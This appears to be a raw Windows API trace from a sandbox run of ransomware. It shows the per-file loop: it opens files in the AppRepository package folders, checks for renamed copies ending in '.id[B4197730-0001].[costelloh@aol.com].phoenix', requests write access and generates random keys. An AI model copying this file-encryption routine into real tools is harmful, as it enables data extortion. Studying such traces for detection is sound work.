	[0262.310] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.NET.Native.Framework.1.3_1.3.24201.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.net.native.framework.1.3_1.3.24201.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0262.314] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=1212) returned 1
	[0262.314] CloseHandle (hObject=0x2e0) returned 1
	[0262.314] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.NET.Native.Framework.1.3_1.3.24201.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.net.native.framework.1.3_1.3.24201.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep")) returned 0x20
	[0262.314] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.NET.Native.Framework.1.3_1.3.24201.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.net.native.framework.1.3_1.3.24201.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.314] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.NET.Native.Framework.1.3_1.3.24201.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.net.native.framework.1.3_1.3.24201.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.315] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0262.315] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.NET.Native.Framework.1.3_1.3.24201.0_x86__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.net.native.framework.1.3_1.3.24201.0_x86__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0262.315] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=1212) returned 1
	[0262.315] CloseHandle (hObject=0x2e0) returned 1
	[0262.315] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.NET.Native.Framework.1.3_1.3.24201.0_x86__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.net.native.framework.1.3_1.3.24201.0_x86__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep")) returned 0x20
	[0262.316] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.NET.Native.Framework.1.3_1.3.24201.0_x86__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.net.native.framework.1.3_1.3.24201.0_x86__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.316] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.NET.Native.Framework.1.3_1.3.24201.0_x86__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.net.native.framework.1.3_1.3.24201.0_x86__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.316] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0262.316] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.NET.Native.Framework.1.6_1.6.24903.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.net.native.framework.1.6_1.6.24903.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0262.318] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=1212) returned 1
	[0262.318] CloseHandle (hObject=0x2f4) returned 1
	[0262.318] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.NET.Native.Framework.1.6_1.6.24903.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.net.native.framework.1.6_1.6.24903.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep")) returned 0x20
	[0262.318] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.NET.Native.Framework.1.6_1.6.24903.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.net.native.framework.1.6_1.6.24903.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.318] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.NET.Native.Framework.1.6_1.6.24903.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.net.native.framework.1.6_1.6.24903.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.318] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0262.318] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.NET.Native.Framework.1.6_1.6.24903.0_x86__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.net.native.framework.1.6_1.6.24903.0_x86__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0262.325] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=1212) returned 1
	[0262.325] CloseHandle (hObject=0x2f4) returned 1
	[0262.325] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.NET.Native.Framework.1.6_1.6.24903.0_x86__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.net.native.framework.1.6_1.6.24903.0_x86__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep")) returned 0x20
	[0262.325] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.NET.Native.Framework.1.6_1.6.24903.0_x86__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.net.native.framework.1.6_1.6.24903.0_x86__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.325] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.NET.Native.Framework.1.6_1.6.24903.0_x86__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.net.native.framework.1.6_1.6.24903.0_x86__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.326] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0262.326] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.NET.Native.Runtime.1.1_1.1.23118.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.net.native.runtime.1.1_1.1.23118.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0262.327] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=1220) returned 1
	[0262.327] CloseHandle (hObject=0x2f4) returned 1
	[0262.327] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.NET.Native.Runtime.1.1_1.1.23118.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.net.native.runtime.1.1_1.1.23118.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep")) returned 0x20
	[0262.328] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.NET.Native.Runtime.1.1_1.1.23118.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.net.native.runtime.1.1_1.1.23118.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.328] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.NET.Native.Runtime.1.1_1.1.23118.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.net.native.runtime.1.1_1.1.23118.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.328] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0262.328] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.NET.Native.Runtime.1.1_1.1.23118.0_x86__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.net.native.runtime.1.1_1.1.23118.0_x86__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0262.328] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=1220) returned 1
	[0262.328] CloseHandle (hObject=0x2f4) returned 1
	[0262.528] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.NET.Native.Runtime.1.1_1.1.23118.0_x86__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.net.native.runtime.1.1_1.1.23118.0_x86__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep")) returned 0x20
	[0262.528] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.NET.Native.Runtime.1.1_1.1.23118.0_x86__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.net.native.runtime.1.1_1.1.23118.0_x86__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.529] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.NET.Native.Runtime.1.1_1.1.23118.0_x86__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.net.native.runtime.1.1_1.1.23118.0_x86__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.529] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0262.529] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Services.Store.Engagement_10.0.1706.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG2" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.services.store.engagement_10.0.1706.0_x64__8wekyb3d8bbwe\\activationstore.dat.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0262.530] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=0) returned 1
	[0262.530] CloseHandle (hObject=0x2f4) returned 1
	[0262.530] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0262.530] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Services.Store.Engagement_10.0.1706.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.services.store.engagement_10.0.1706.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0262.531] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=1164) returned 1
	[0262.531] CloseHandle (hObject=0x2f4) returned 1
	[0262.531] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Services.Store.Engagement_10.0.1706.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.services.store.engagement_10.0.1706.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep")) returned 0x20
	[0262.531] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Services.Store.Engagement_10.0.1706.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.services.store.engagement_10.0.1706.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.532] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Services.Store.Engagement_10.0.1706.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.services.store.engagement_10.0.1706.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.532] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0262.532] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Services.Store.Engagement_10.0.1706.0_x86__8wekyb3d8bbwe\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.services.store.engagement_10.0.1706.0_x86__8wekyb3d8bbwe\\activationstore.dat.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0262.533] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=16384) returned 1
	[0262.533] CloseHandle (hObject=0x2f4) returned 1
	[0262.533] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Services.Store.Engagement_10.0.1706.0_x86__8wekyb3d8bbwe\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.services.store.engagement_10.0.1706.0_x86__8wekyb3d8bbwe\\activationstore.dat.log1")) returned 0x26
	[0262.533] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Services.Store.Engagement_10.0.1706.0_x86__8wekyb3d8bbwe\\ActivationStore.dat.LOG1.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.services.store.engagement_10.0.1706.0_x86__8wekyb3d8bbwe\\activationstore.dat.log1.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.533] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Services.Store.Engagement_10.0.1706.0_x86__8wekyb3d8bbwe\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.services.store.engagement_10.0.1706.0_x86__8wekyb3d8bbwe\\activationstore.dat.log1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.533] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0262.533] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Services.Store.Engagement_10.0.1706.0_x86__8wekyb3d8bbwe\\ActivationStore.dat.LOG2" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.services.store.engagement_10.0.1706.0_x86__8wekyb3d8bbwe\\activationstore.dat.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0262.534] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=0) returned 1
	[0262.534] CloseHandle (hObject=0x2f4) returned 1
	[0262.534] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0262.534] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Services.Store.Engagement_10.0.1706.0_x86__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.services.store.engagement_10.0.1706.0_x86__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0262.536] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=1164) returned 1
	[0262.536] CloseHandle (hObject=0x2f4) returned 1
	[0262.536] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Services.Store.Engagement_10.0.1706.0_x86__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.services.store.engagement_10.0.1706.0_x86__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep")) returned 0x20
	[0262.536] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Services.Store.Engagement_10.0.1706.0_x86__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.services.store.engagement_10.0.1706.0_x86__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.537] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Services.Store.Engagement_10.0.1706.0_x86__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.services.store.engagement_10.0.1706.0_x86__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.537] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0262.537] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.skypeapp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0262.537] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=976) returned 1
	[0262.537] CloseHandle (hObject=0x2f4) returned 1
	[0262.537] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.skypeapp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep")) returned 0x20
	[0262.537] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.skypeapp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
